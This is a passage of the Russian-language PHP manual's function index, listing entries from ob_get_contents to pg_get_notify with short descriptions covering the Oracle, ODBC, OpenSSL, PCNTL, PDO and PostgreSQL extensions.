    • ob_get_contents - Возвращает содержимое буфера вывода
    • ob_get_flush - Сбрасывает (отправляет) возвращённое активным обработчиком вывода значение, возвращает содержимое активного буфера вывода и отключает его
    • ob_get_length - Возвращает размер буфера вывода
    • ob_get_level - Возвращает уровень вложенности механизма буферизации вывода
    • ob_get_status - Получает статус буфера вывода
    • ob_gzhandler - Сжимает буфер вывода в gzip, действуя как callback-функция — параметр функции ob_start
    • ob_iconv_handler - Преобразовывает символы из текущей кодировки в кодировку выходного буфера
    • ob_implicit_flush - Включает/выключает неявный сброс
    • ob_list_handlers - Возвращает список активных обработчиков вывода
    • ob_start - Включает буферизацию вывода
    • ob_tidyhandler - Функция обратного вызова ob_start для восстановление буфера
    • ocibindbyname - Псевдоним функции oci_bind_by_name
    • ocicancel - Псевдоним oci_cancel
    • ocicloselob - Псевдоним OCILob::close
    • ocicollappend - Псевдоним OCICollection::append
    • ocicollassign - Псевдоним метода OCICollection::assign
    • ocicollassignelem - Псевдоним метода OCICollection::assignElem
    • OCICollection::append - Добавляет элемент в коллекцию
    • OCICollection::assign - Присваивает коллекции значение другой, уже существующей коллекции
    • OCICollection::assignElem - Присваивает значение элементу коллекции
    • OCICollection::free - Освобождает ресурсы, занимаемые объектом коллекции
    • OCICollection::getElem - Возвращает значение элемента
    • OCICollection::max - Возвращает максимальное количество элементов в коллекции
    • OCICollection::size - Возвращает количество элементов в коллекции
    • OCICollection::trim - Отсекает элементы с конца коллекции
    • ocicollgetelem - Псевдоним метода OCICollection::getElem
    • ocicollmax - Псевдоним метода OCICollection::max
    • ocicollsize - Псевдоним метода OCICollection::size
    • ocicolltrim - Псевдоним метода OCICollection::trim
    • ocicolumnisnull - Псевдоним функции oci_field_is_null
    • ocicolumnname - Псевдоним функции oci_field_name
    • ocicolumnprecision - Псевдоним функции oci_field_precision
    • ocicolumnscale - Псевдоним функции oci_field_scale
    • ocicolumnsize - Псевдоним функции oci_field_size
    • ocicolumntype - Псевдоним функции oci_field_type
    • ocicolumntyperaw - Псевдоним функции oci_field_type_raw
    • ocicommit - Псевдоним функции oci_commit
    • ocidefinebyname - Псевдоним функции oci_define_by_name
    • ocierror - Псевдоним функции oci_error
    • ociexecute - Псевдоним функции oci_execute
    • ocifetch - Псевдоним функции oci_fetch
    • ocifetchinto - Устаревший вариант функций oci_fetch_array, oci_fetch_object, oci_fetch_assoc и oci_fetch_row
    • ocifetchstatement - Псевдоним функции oci_fetch_all
    • ocifreecollection - Псевдоним метода OCICollection::free
    • ocifreecursor - Псевдоним функции oci_free_statement
    • ocifreedesc - Псевдоним метода OCILob::free
    • ocifreestatement - Псевдоним функции oci_free_statement
    • ociinternaldebug - Псевдоним функции oci_internal_debug
    • ociloadlob - Псевдоним метода OCILob::load
    • OCILob::append - Добавляет данные из объекта LOB в конец другого объекта
    • OCILob::close - Закрывает дескриптор объекта LOB
    • OCILob::eof - Проверяет, находится ли указатель LOB на конце объекта
    • OCILob::erase - Очищает указанную часть объекта LOB
    • OCILob::export - Сохраняет содержимое объекта LOB в файл
    • OCILob::flush - Очищает и записывает буфер объекта LOB на сервер
    • OCILob::free - Освобождает ресурсы, связанные с дескриптором LOB
    • OCILob::getBuffering - Возвращает текущее состояние буферизации большого объекта (LOB)
    • OCILob::import - Записывает содержимое файла в объект LOB
    • OCILob::load - Возвращает содержимое объекта LOB
    • OCILob::read - Возвращает часть объекта LOB
    • OCILob::rewind - Переводит указатель объекта в начало большого объекта
    • OCILob::save - Сохраняет данные в LOB
    • OCILob::saveFile - Псевдоним OCILob::import
    • OCILob::seek - Устанавливает позицию внутреннего указателя LOB
    • OCILob::setBuffering - Изменяет текущее состояние буферизации большого объекта (LOB)
    • OCILob::size - Возвращает размер объекта LOB
    • OCILob::tell - Возвращает текущую позицию внутреннего указателя объекта LOB
    • OCILob::truncate - Обрезает большой объект
    • OCILob::write - Записывает данные в объект LOB
    • OCILob::writeTemporary - Записывает временный большой объект (LOB)
    • OCILob::writeToFile - Псевдоним OCILob::export
    • ocilogoff - Псевдоним функции oci_close
    • ocilogon - Псевдоним функции oci_connect
    • ocinewcollection - Псевдоним функции oci_new_collection
    • ocinewcursor - Псевдоним функции oci_new_cursor
    • ocinewdescriptor - Псевдоним функции oci_new_descriptor
    • ocinlogon - Псевдоним функции oci_new_connect
    • ocinumcols - Псевдоним функции oci_num_fields
    • ociparse - Псевдоним функции oci_parse
    • ociplogon - Псевдоним функции oci_pconnect
    • ociresult - Псевдоним функции oci_result
    • ocirollback - Псевдоним функции oci_rollback
    • ocirowcount - Псевдоним функции oci_num_rows
    • ocisavelob - Псевдоним метода OCILob::save
    • ocisavelobfile - Псевдоним метода OCILob::import
    • ociserverversion - Псевдоним функции oci_server_version
    • ocisetprefetch - Псевдоним функции oci_set_prefetch
    • ocistatementtype - Псевдоним функции oci_statement_type
    • ociwritelobtofile - Псевдоним метода OCILob::export
    • ociwritetemporarylob - Псевдоним метода OCILob::writeTemporary
    • oci_bind_array_by_name - Связывает PHP массив с массивом Oracle PL/SQL
    • oci_bind_by_name - Прикрепляет переменную PHP к соответствующей метке в SQL-выражении
    • oci_cancel - Заканчивает процесс чтения из курсора
    • oci_client_version - Возвращает версию клиентской библиотеки
    • oci_close - Закрывает соединение с сервером Oracle
    • oci_commit - Подтверждает транзакцию базы данных
    • oci_connect - Устанавливает соединение с базой данных Oracle
    • oci_define_by_name - Сопоставляет переменную PHP столбцу результата запроса
    • oci_error - Возвращает последнюю ошибку
    • oci_execute - Выполняет подготовленное выражение
    • oci_fetch - Выбирает следующую строку из результата в буфер
    • oci_fetch_all - Выбирает все строки из результата запроса в двумерный массив
    • oci_fetch_array - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
    • oci_fetch_assoc - Возвращает следующую строку из результата запроса в виде ассоциативного массива
    • oci_fetch_object - Возвращает следующую строку из результата запроса в виде объекта
    • oci_fetch_row - Возвращает следующую строку из результата запроса в виде нумерованного массива
    • oci_field_is_null - Проверяет, равняется ли поле в текущем полученном ряду равным null
    • oci_field_name - Возвращает имя поля из результата запроса
    • oci_field_precision - Возвращает точность поля
    • oci_field_scale - Возвращает масштаб поля
    • oci_field_size - Возвращает размер поля
    • oci_field_type - Возвращает имя типа поля
    • oci_field_type_raw - Возвращает исходный тип поля Oracle
    • oci_free_descriptor - Освобождает дескриптор
    • oci_free_statement - Освобождает ресурсы, занимаемые курсором или SQL-выражением
    • oci_get_implicit_resultset - Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database
    • oci_internal_debug - Включает или отключает внутренний вывод отладки
    • oci_lob_copy - Копирует объект LOB
    • oci_lob_is_equal - Сравнивает два объекта LOB/FILE
    • oci_new_collection - Создаёт новый объект коллекции
    • oci_new_connect - Устанавливает новое соединение с сервером Oracle
    • oci_new_cursor - Возвращает идентификатор созданного курсора
    • oci_new_descriptor - Инициализирует новый дескриптор объекта LOB или FILE
    • oci_num_fields - Возвращает количество полей в результате запроса
    • oci_num_rows - Возвращает количество строк, изменённых в процессе выполнения запроса
    • oci_parse - Подготавливает запрос к выполнению
    • oci_password_change - Изменяет пароль пользователя Oracle
    • oci_pconnect - Устанавливает постоянное соединение с сервером Oracle
    • oci_register_taf_callback - Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF
    • oci_result - Возвращает значение поля из результата запроса
    • oci_rollback - Откатывает транзакции, ожидающие обработки
    • oci_server_version - Возвращает версию сервера Oracle
    • oci_set_action - Задаёт имя для действия
    • oci_set_call_timeout - Устанавливает время ожидания в миллисекундах для вызовов базы данных
    • oci_set_client_identifier - Задаёт идентификатор клиента
    • oci_set_client_info - Задаёт информацию о клиенте
    • oci_set_db_operation - Задаёт операцию базы данных
    • oci_set_edition - Задаёт выпуск (edition) базы данных
    • oci_set_module_name - Задаёт имя модулю
    • oci_set_prefetch - Устанавливает количество строк, которые будут автоматически выбраны в буфер
    • oci_set_prefetch_lob - Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB
    • oci_statement_type - Возвращает тип выражения
    • oci_unregister_taf_callback - Удалить регистрацию пользовательской callback-функции для Oracle Database TAF
    • octdec - Переводит число из восьмеричной системы счисления в десятичную
    • odbc_autocommit - Переключает поведение автоматической фиксации
    • odbc_binmode - Управляет обработкой двоичных данных столбца
    • odbc_close - Закрывает соединение ODBC
    • odbc_close_all - Закрывает все соединения ODBC
    • odbc_columnprivileges - Перечисляет столбцы и связанные привилегии для данной таблицы
    • odbc_columns - Перечисляет имена столбцов в указанных таблицах
    • odbc_commit - Фиксирует транзакцию ODBC
    • odbc_connect - Соединяет с источником данных
    • odbc_connection_string_is_quoted - Определяет, заключено ли значение строки соединения ODBC в кавычки
    • odbc_connection_string_quote - Заключает в кавычки значение строки подключения
    • odbc_connection_string_should_quote - Определяет, следует ли заключать значение строки соединения ODBC в кавычки
    • odbc_cursor - Возвращает имя курсора
    • odbc_data_source - Возвращает информацию о доступных DSN
    • odbc_do - Псевдоним odbc_exec
    • odbc_error - Возвращает последний код ошибки
    • odbc_errormsg - Возвращает последнее сообщение об ошибке
    • odbc_exec - Выполняет инструкцию SQL напрямую
    • odbc_execute - Выполняет запрос
    • odbc_fetch_array - Возвращает строку результата в виде ассоциативного массива
    • odbc_fetch_into - Возвращает одну строку результата в массив
    • odbc_fetch_object - Возвращает строку результата в виде объекта
    • odbc_fetch_row - Возвращает строку
    • odbc_field_len - Возвращает длину (точность) поля
    • odbc_field_name - Возвращает имя столбца
    • odbc_field_num - Возвращает номер столбца
    • odbc_field_precision - Псевдоним odbc_field_len
    • odbc_field_scale - Возвращает масштаб поля
    • odbc_field_type - Возвращает тип данных поля
    • odbc_foreignkeys - Возвращает список внешних ключей
    • odbc_free_result - Освобождает ресурсы, связанные с результатом
    • odbc_gettypeinfo - Возвращает информацию о типах данных, поддерживаемых источником данных
    • odbc_longreadlen - Обрабатывает столбцы LONG
    • odbc_next_result - Проверяет, доступно ли несколько результатов
    • odbc_num_fields - Возвращает количество столбцов в результате
    • odbc_num_rows - Возвращает количество строк в результате
    • odbc_pconnect - Открывает постоянное соединение с базой данных
    • odbc_prepare - Подготавливает запрос к выполнению
    • odbc_primarykeys - Получает первичные ключи таблицы
    • odbc_procedurecolumns - Получает информацию о параметрах процедур
    • odbc_procedures - Получает список процедур, хранящихся в определённом источнике данных
    • odbc_result - Получает данные результата
    • odbc_result_all - Выводит результат в виде HTML-таблицы
    • odbc_rollback - Откатывает транзакцию
    • odbc_setoption - Регулирует настройки ODBC
    • odbc_specialcolumns - Извлекает особые столбцы
    • odbc_statistics - Получает статистику о таблице
    • odbc_tableprivileges - Перечисляет таблицы и привилегии, связанные с каждой таблицей
    • odbc_tables - Получает список имён таблиц, хранящихся в определённом источнике данных
    • ogg:// - Аудиопотоки
    • opcache_compile_file - Компилирует и кеширут PHP-скрипт без исполнения
    • opcache_get_configuration - Получает информацию о конфигурации кеша
    • opcache_get_status - Получает информацию о состоянии кеша
    • opcache_invalidate - Аннулирует закешированный скрипт
    • opcache_is_script_cached - Проверяет, закеширован ли скрипт в OPCache
    • opcache_reset - Сбрасывает содержимое кеша опкодов
    • openal_buffer_create - Сгенерировать буфер OpenAL
    • openal_buffer_data - Загрузка буфера с данными
    • openal_buffer_destroy - Уничтожает буфер OpenAL
    • openal_buffer_get - Получить свойство буфера OpenAL
    • openal_buffer_loadwav - Загрузить файл в формате wav в буфер
    • openal_context_create - Создать контекст обработки звука
    • openal_context_current - Сделать указанный контекст текущим
    • openal_context_destroy - Уничтожает контекст
    • openal_context_process - Обработать указанный контекст
    • openal_context_suspend - Приостановить указанный контекст
    • openal_device_close - Закрыть устройство OpenAL
    • openal_device_open - Инициализировать звуковой уровень OpenAL
    • openal_listener_get - Получить свойство прослушивателя
    • openal_listener_set - Установка свойства прослушивателя
    • openal_source_create - Сгенерировать источник ресурса
    • openal_source_destroy - Уничтожение ресурса источника
    • openal_source_get - Получить свойство источника OpenAL
    • openal_source_pause - Поставить источник на паузу
    • openal_source_play - Начать воспроизведение источника
    • openal_source_rewind - Перемотать источник в начало
    • openal_source_set - Установить свойство источника
    • openal_source_stop - Остановить воспроизведение источника
    • openal_stream - Начать потоковую передачу с источника
    • opendir - Открывает дескриптор каталога
    • openlog - Открывает соединение к системному журналу
    • openssl_cipher_iv_length - Получает длину инициализирующего вектора шифра
    • openssl_cipher_key_length - Получает длину ключа шифрования
    • openssl_cms_decrypt - Расшифровывает CMS-сообщение
    • openssl_cms_encrypt - Зашифровывает CMS-сообщение
    • openssl_cms_read - Экспортирует файл CMS в массив сертификатов PEM
    • openssl_cms_sign - Подписывает файл
    • openssl_cms_verify - Проверяет подпись CMS
    • openssl_csr_export - Экспортирует CSR в виде строки
    • openssl_csr_export_to_file - Экспортирует CSR в файл
    • openssl_csr_get_public_key - Возвращает открытый ключ CSR
    • openssl_csr_get_subject - Возвращает субъект CSR
    • openssl_csr_new - Генерирует CSR
    • openssl_csr_sign - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат
    • openssl_decrypt - Расшифровывает данные
    • openssl_dh_compute_key - Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH
    • openssl_digest - Вычисление дайджеста
    • openssl_encrypt - Шифрует данные
    • openssl_error_string - Возвращает сообщение об ошибке openSSL
    • openssl_free_key - Высвобождение ресурса ключа
    • openssl_get_cert_locations - Получить доступные месторасположения сертификатов
    • openssl_get_cipher_methods - Получить список доступных алгоритмов шифрования
    • openssl_get_curve_names - Список доступных имён кривых для ECC
    • openssl_get_md_methods - Получить список доступных методов хеширования
    • openssl_get_privatekey - Псевдоним openssl_pkey_get_private
    • openssl_get_publickey - Псевдоним openssl_pkey_get_public
    • openssl_open - Открыть запечатанные данные
    • openssl_pbkdf2 - Генерирует строки PKCS5 v2 PBKDF2
    • openssl_pkcs7_decrypt - Расшифровать сообщение, зашифрованное S/MIME
    • openssl_pkcs7_encrypt - Шифрует сообщение S/MIME
    • openssl_pkcs7_read - Экспортировать файл PKCS7 в массив сертификатов PEM
    • openssl_pkcs7_sign - Подписать сообщение S/MIME
    • openssl_pkcs7_verify - Проверить подпись сообщения S/MIME
    • openssl_pkcs12_export - Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную
    • openssl_pkcs12_export_to_file - Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов
    • openssl_pkcs12_read - Разбирает хранилище сертификатов PKCS#12 в массив
    • openssl_pkey_derive - Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH
    • openssl_pkey_export - Получает строку с ключом в формате PEM
    • openssl_pkey_export_to_file - Записывает в файл ключ в формате PEM
    • openssl_pkey_free - Освобождает ресурс закрытого ключа
    • openssl_pkey_get_details - Получает массив с детальной информацией о ключе
    • openssl_pkey_get_private - Получить закрытый ключ
    • openssl_pkey_get_public - Извлекает открытый ключ из сертификата и подготавливает его к использованию
    • openssl_pkey_new - Генерирует новый закрытый ключ
    • openssl_private_decrypt - Расшифровывает данные с помощью закрытого ключа
    • openssl_private_encrypt - Шифрует данные секретным ключом
    • openssl_public_decrypt - Расшифровка данных с помощью открытого ключа
    • openssl_public_encrypt - Шифрование данных открытым ключом
    • openssl_random_pseudo_bytes - Генерирует псевдослучайную последовательность байт
    • openssl_seal - Запечатать (зашифровать) данные
    • openssl_sign - Генерация подписи
    • openssl_spki_export - Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
    • openssl_spki_export_challenge - Экспорт вызова, связанного с подписанным ключом и вызовом
    • openssl_spki_new - Создание нового подписанного открытого ключа с вызовом
    • openssl_spki_verify - Проверяет подписанный открытый ключ и вызов
    • openssl_verify - Сверка сигнатуры
    • openssl_x509_checkpurpose - Проверяет, можно ли использовать сертификат для конкретных задач
    • openssl_x509_check_private_key - Проверить, относится ли секретный ключ к сертификату
    • openssl_x509_export - Экспортирует сертификат в строку
    • openssl_x509_export_to_file - Экспортирует сертификат в файл
    • openssl_x509_fingerprint - Вычисляет отпечаток или дайджест, заданный сертификатом X.509
    • openssl_x509_free - Высвобождает ресурс сертификата
    • openssl_x509_parse - Разобрать сертификат X509 и получить массив с данными о нем
    • openssl_x509_read - Разобрать сертификат X.509 и вернуть для него объект
    • openssl_x509_verify - Проверка цифровой подписи сертификата x509 с помощью публичного ключа
    • ord - Конвертирует первый байт строки в число от 0 до 255
    • OuterIterator::getInnerIterator - Возвращает внутренний итератор для текущего элемента
    • output_add_rewrite_var - Добавляет значения в обработчик перезаписи URL
    • output_reset_rewrite_vars - Сбросить значения обработчика URL
    • Override::__construct - Создаёт новый экземпляр атрибута Override
  • p
    • pack - Упаковывает данные в двоичную строку
    • parallel\bootstrap - Начальная загрузка
    • parallel\Channel::close - Закрытие
    • parallel\Channel::make - Доступ
    • parallel\Channel::open - Доступ
    • parallel\Channel::recv - Совместное использование
    • parallel\Channel::send - Совместное использование
    • parallel\Channel::__construct - Конструктор класса Channel
    • parallel\Events::addChannel - Цели
    • parallel\Events::addFuture - Цели
    • parallel\Events::poll - Опрос
    • parallel\Events::remove - Цели
    • parallel\Events::setBlocking - Поведение
    • parallel\Events::setInput - Вход
    • parallel\Events::setTimeout - Поведение
    • parallel\Events\Input::add - Входы
    • parallel\Events\Input::clear - Входы
    • parallel\Events\Input::remove - Входы
    • parallel\Future::cancel - Прекращение
    • parallel\Future::cancelled - Определение состояния
    • parallel\Future::done - Определение состояния
    • parallel\Future::value - Разрешение
    • parallel\run - Выполнение
    • parallel\Runtime::close - Изящное соединение во время выполнения
    • parallel\Runtime::kill - Соединение во время выполнения
    • parallel\Runtime::run - Выполнение
    • parallel\Runtime::__construct - Конструктор класса Runtime
    • parallel\Sync::get - Доступ
    • parallel\Sync::notify - Синхронизация
    • parallel\Sync::set - Доступ
    • parallel\Sync::wait - Синхронизация
    • parallel\Sync::__construct - Конструктор класса
    • parallel\Sync::__invoke - Синхронизация
    • ParentIterator::accept - Определение доступности
    • ParentIterator::getChildren - Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator
    • ParentIterator::hasChildren - Проверяет, имеет ли внутренний объект-итератор дочерние объекты
    • ParentIterator::next - Перемещает указатель на одну позицию вперёд
    • ParentIterator::rewind - Переводит итератор на начало
    • ParentIterator::__construct - Конструктор класса ParentIterator
    • Parle\Lexer::advance - Обрабатывает следующее правило лексера
    • Parle\Lexer::build - Завершает набор правил лексера
    • Parle\Lexer::callout - Определяет callback-функцию токена
    • Parle\Lexer::consume - Передаёт данные на обработку
    • Parle\Lexer::dump - Выводит состояние устройства
    • Parle\Lexer::getToken - Получает текущий токен
    • Parle\Lexer::insertMacro - Вставляет макрос регулярного выражения
    • Parle\Lexer::push - Добавляет правило лексера
    • Parle\Lexer::reset - Сбрасывает лексер
    • Parle\Parser::advance - Обрабатывает следующее правило парсера
    • Parle\Parser::build - Завершает грамматические правила
    • Parle\Parser::consume - Потребляет данные для обработки
    • Parle\Parser::dump - Выводит грамматику
    • Parle\Parser::errorInfo - Получает информацию об ошибке
    • Parle\Parser::left - Объявляет токен с левой ассоциативностью
    • Parle\Parser::nonassoc - Объявляет токен без ассоциативности
    • Parle\Parser::precedence - Объявляет правило приоритета
    • Parle\Parser::push - Добавляет грамматическое правило
    • Parle\Parser::reset - Сбрасывает состояние парсера
    • Parle\Parser::right - Объявляет токен с правой ассоциативностью
    • Parle\Parser::sigil - Извлекает часть совпадения по правилу
    • Parle\Parser::sigilCount - Получает количество элементов в совпадающем правиле
    • Parle\Parser::sigilName - Получает имя правила или токена
    • Parle\Parser::token - Объявляет токен
    • Parle\Parser::tokenId - Получает идентификатор токена
    • Parle\Parser::trace - Следит за работой парсера
    • Parle\Parser::validate - Проверяет входные данные
    • Parle\RLexer::advance - Обработка следующего правила лексера
    • Parle\RLexer::build - Завершает набор правил лексера
    • Parle\RLexer::callout - Определяет callback-функцию токена
    • Parle\RLexer::consume - Передаёт данные для обработки
    • Parle\RLexer::dump - Выгружает состояние устройства
    • Parle\RLexer::getToken - v
    • Parle\RLexer::insertMacro - Вставляет макрос регулярного выражения
    • Parle\RLexer::push - Добавляет правило лексера
    • Parle\RLexer::pushState - Продвигает новое начальное состояние
    • Parle\RLexer::reset - Сбрасывает лексер
    • Parle\RParser::advance - Обработка следующего правила парсера
    • Parle\RParser::build - Завершает грамматические правила
    • Parle\RParser::consume - Использовать данные для обработки
    • Parle\RParser::dump - Выводит грамматику
    • Parle\RParser::errorInfo - Получает информацию об ошибке
    • Parle\RParser::left - Объявляет токен с левой ассоциативностью
    • Parle\RParser::nonassoc - Объявляет токен без ассоциативности
    • Parle\RParser::precedence - Объявляет правило приоритета
    • Parle\RParser::push - Добавляет грамматическое правило
    • Parle\RParser::reset - Сбрасывает состояние парсера
    • Parle\RParser::right - Объявляет токен с правой ассоциативностью
    • Parle\RParser::sigil - Извлекает совпадающую часть по правилу
    • Parle\RParser::sigilCount - Получает количество элементов в совпадающем правиле
    • Parle\RParser::sigilName - Получает имя правила или токена
    • Parle\RParser::token - Объявляет токен
    • Parle\RParser::tokenId - Получает идентификатор токена
    • Parle\RParser::trace - Следит за работой парсера
    • Parle\RParser::validate - Проверяет входные данные
    • Parle\Stack::pop - Извлекает предмет из стека
    • Parle\Stack::push - Помещает элемент в стек
    • parse_ini_file - Обрабатывает конфигурационный файл
    • parse_ini_string - Разбирает строку конфигурации
    • parse_str - Разбирает строку в переменные
    • parse_url - Разбирает URL и возвращает его компоненты
    • passthru - Выполнить внешнюю программу и отобразить необработанный вывод
    • password_algos - Получает доступные идентификаторы алгоритма хеширования пароля
    • password_get_info - Возвращает информацию о заданном хеше
    • password_hash - Создаёт хеш пароля
    • password_needs_rehash - Проверяет, что указанный хеш соответствует заданным опциям
    • password_verify - Проверяет, соответствует ли пароль хешу
    • pathinfo - Возвращает информацию о пути к файлу
    • pclose - Закрывает файловый указатель процесса
    • pcntl_alarm - Задать таймер доставки сигнала SIGALRM
    • pcntl_async_signals - Включить/отключить асинхронную обработку сигналов, либо получить текущий статус
    • pcntl_errno - Псевдоним pcntl_get_last_error
    • pcntl_exec - Запустить указанную программу в области текущего процесса
    • pcntl_fork - Разветвить (fork) текущий запущенный процесс
    • pcntl_getpriority - Получить значение приоритета процесса
    • pcntl_get_last_error - Получить код последней ошибки, возникшей в pcntl-функции
    • pcntl_rfork - Взаимодействует с ресурсами процесса
    • pcntl_setpriority - Изменить приоритет процесса
    • pcntl_signal - Установка обработчика сигнала
    • pcntl_signal_dispatch - Вызывает обработчики для ожидающих сигналов
    • pcntl_signal_get_handler - Получить текущий обработчик указанного сигнала
    • pcntl_sigprocmask - Задаёт и извлекает список блокируемых сигналов
    • pcntl_sigtimedwait - Ожидает сигналы в течение заданного времени
    • pcntl_sigwaitinfo - Ожидание сигналов
    • pcntl_strerror - Получить текст ошибки по её коду
    • pcntl_unshare - Разделяет части контекста выполнения процесса
    • pcntl_wait - Ожидает или возвращает статус порождённого дочернего процесса
    • pcntl_waitpid - Ожидает или возвращает статус порождённого дочернего процесса
    • pcntl_wexitstatus - Получить код возврата завершённого дочернего процесса
    • pcntl_wifexited - Проверяет, соответствует ли код завершения процесса нормальному завершению
    • pcntl_wifsignaled - Проверить, соответствует ли код завершения процесса завершению по сигналу
    • pcntl_wifstopped - Проверяет, остановлен ли дочерний процесс
    • pcntl_wstopsig - Получить сигнал, из-за которого был остановлен дочерний процесс
    • pcntl_wtermsig - Получить сигнал, из-за которого был принудительно завершён дочерний процесс
    • PDO::beginTransaction - Инициализация транзакции
    • PDO::commit - Фиксирует транзакцию
    • PDO::cubrid_schema - Получить запрошенную информацию о схеме
    • PDO::errorCode - Возвращает код SQLSTATE результата последней операции с базой данных
    • PDO::errorInfo - Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
    • PDO::exec - Выполняет SQL-запрос и возвращает количество затронутых строк
    • PDO::getAttribute - Получает атрибут соединения с базой данных
    • PDO::getAvailableDrivers - Возвращает массив доступных драйверов PDO
    • PDO::inTransaction - Проверяет, начата ли транзакция
    • PDO::lastInsertId - Возвращает ID последней вставленной строки или значение последовательности
    • PDO::pgsqlCopyFromArray - Копировать массив PHP в таблицу
    • PDO::pgsqlCopyFromFile - Скопировать данные из файла в таблицу
    • PDO::pgsqlCopyToArray - Выгрузить данные из таблицы в массив PHP
    • PDO::pgsqlCopyToFile - Выгрузка таблицы в файл
    • PDO::pgsqlGetNotify - Получить асинхронное уведомление
    • PDO::pgsqlGetPid - Получает PID сервера
    • PDO::pgsqlLOBCreate - Создать новый большой объект (LOB)
    • PDO::pgsqlLOBOpen - Открывает поток для существующего большого объекта
    • PDO::pgsqlLOBUnlink - Удалить большой объект
    • PDO::prepare - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
    • PDO::query - Подготавливает и выполняет выражение SQL без заполнителей
    • PDO::quote - Заключает строку в кавычки для использования в запросе
    • PDO::rollBack - Откат транзакции
    • PDO::setAttribute - Установка атрибута
    • PDO::sqliteCreateAggregate - Регистрация агрегирующей пользовательской функции для использования в SQL-запросах
    • PDO::sqliteCreateCollation - Регистрация пользовательской функции сортировки для использования в SQL-запросах
    • PDO::sqliteCreateFunction - Регистрация пользовательской функции для использования в SQL-запросах
    • PDO::__construct - Создаёт экземпляр PDO, который предоставляет соединение с базой данных
    • PDOStatement::bindColumn - Связывает столбец с переменной PHP
    • PDOStatement::bindParam - Привязывает параметр запроса к переменной
    • PDOStatement::bindValue - Связывает параметр с заданным значением
    • PDOStatement::closeCursor - Закрывает курсор, переводя запрос в состояние готовности к повторному запуску
    • PDOStatement::columnCount - Возвращает количество столбцов в результирующем наборе
    • PDOStatement::debugDumpParams - Вывод информации о подготовленной SQL-команде в целях отладки
    • PDOStatement::errorCode - Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement
    • PDOStatement::errorInfo - Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement
    • PDOStatement::execute - Запускает подготовленный запрос на выполнение
    • PDOStatement::fetch - Извлечение следующей строки из результирующего набора
    • PDOStatement::fetchAll - Выбирает оставшиеся строки из набора результатов
    • PDOStatement::fetchColumn - Возвращает данные одного столбца следующей строки результирующего набора
    • PDOStatement::fetchObject - Извлекает следующую строку и возвращает её в виде объекта
    • PDOStatement::getAttribute - Получение значения атрибута запроса PDOStatement
    • PDOStatement::getColumnMeta - Возвращает метаданные столбца в результирующей таблице
    • PDOStatement::getIterator - Получает итератор набора результатов
    • PDOStatement::nextRowset - Переход к следующему набору строк в результате запроса
    • PDOStatement::rowCount - Возвращает количество строк, затронутых последним SQL-запросом
    • PDOStatement::setAttribute - Устанавливает атрибут объекту PDOStatement
    • PDOStatement::setFetchMode - Устанавливает режим выборки по умолчанию для объекта запроса
    • PDO_CUBRID DSN - Соединение с базой данных CUBRID
    • PDO_DBLIB DSN - Соединение с базами данных Microsoft SQL Server и Sybase
    • PDO_FIREBIRD DSN - Соединение с базой Firebird
    • PDO_IBM DSN - Соединение с базой данных IBM
    • PDO_INFORMIX DSN - Соединение с базой данных Informix
    • PDO_MYSQL DSN - Соединение с базой данных MySQL
    • PDO_OCI DSN - Соединение с базой данных Oracle
    • PDO_ODBC DSN - Соединение с базами данных ODBC или DB2
    • PDO_PGSQL DSN - Соединение с базой данных PostgreSQL
    • PDO_SQLITE DSN - Соединение с базой данных SQLite
    • PDO_SQLSRV DSN - Подключение к базам данных MS SQL Server и SQL Azure
    • pfsockopen - Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix
    • pg_affected_rows - Возвращает количество затронутых запросом записей (кортежей)
    • pg_cancel_query - Остановка асинхронного запроса.
    • pg_client_encoding - Получение кодировки клиента.
    • pg_close - Закрывает соединение с базой данных PostgreSQL
    • pg_connect - Открывает соединение с базой данных PostgreSQL
    • pg_connection_busy - Проверяет, занято ли соединение в данный момент.
    • pg_connection_reset - Сброс подключения (переподключение)
    • pg_connection_status - Определяет состояние подключения
    • pg_connect_poll - Опросить статус попытки асинхронного соединения PostgreSQL.
    • pg_consume_input - Читает вводные данные на соединении
    • pg_convert - Преобразовывает значения ассоциативного массива в вид, который соответствует SQL-запросам
    • pg_copy_from - Вставляет записи из массива в таблицу
    • pg_copy_to - Копирует данные из таблицы в массив
    • pg_dbname - Определяет имя базы данных
    • pg_delete - Удаляет записи
    • pg_end_copy - Синхронизирует с бэкендом PostgreSQL
    • pg_escape_bytea - Экранирует спецсимволы в строке для вставки в поле типа bytea
    • pg_escape_identifier - Экранирует идентификатор для вставки в текстовое поле
    • pg_escape_literal - Экранировать литерал при вставке в текстовое поле
    • pg_escape_string - Экранирование спецсимволов в строке запроса
    • pg_execute - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
    • pg_fetch_all - Выбирает все данные из результата запроса и помещает их в массив
    • pg_fetch_all_columns - Выбирает все записи из одной колонки результата запроса и помещает их в массив
    • pg_fetch_array - Возвращает строку результата в виде массива
    • pg_fetch_assoc - Выбирает строку результата запроса и помещает данные в ассоциативный массив
    • pg_fetch_object - Выбирает строку результата запроса и возвращает данные в виде объекта
    • pg_fetch_result - Возвращает запись из результата запроса
    • pg_fetch_row - Выбирает строку результата запроса и помещает данные в массив
    • pg_field_is_null - Проверяет поля на значение SQL NULL
    • pg_field_name - Возвращает наименование поля
    • pg_field_num - Возвращает порядковый номер именованного поля
    • pg_field_prtlen - Возвращает количество печатаемых символов
    • pg_field_size - Возвращает размер поля
    • pg_field_table - Возвращает наименование или идентификатор таблицы, содержащей заданное поле
    • pg_field_type - Возвращает имя типа заданного поля
    • pg_field_type_oid - Возвращает идентификатор типа заданного поля
    • pg_flush - Сбросить данные исходящего запроса на соединении
    • pg_free_result - Очистка результата запроса и освобождение памяти
    • pg_get_notify - Получение SQL NOTIFY сообщения
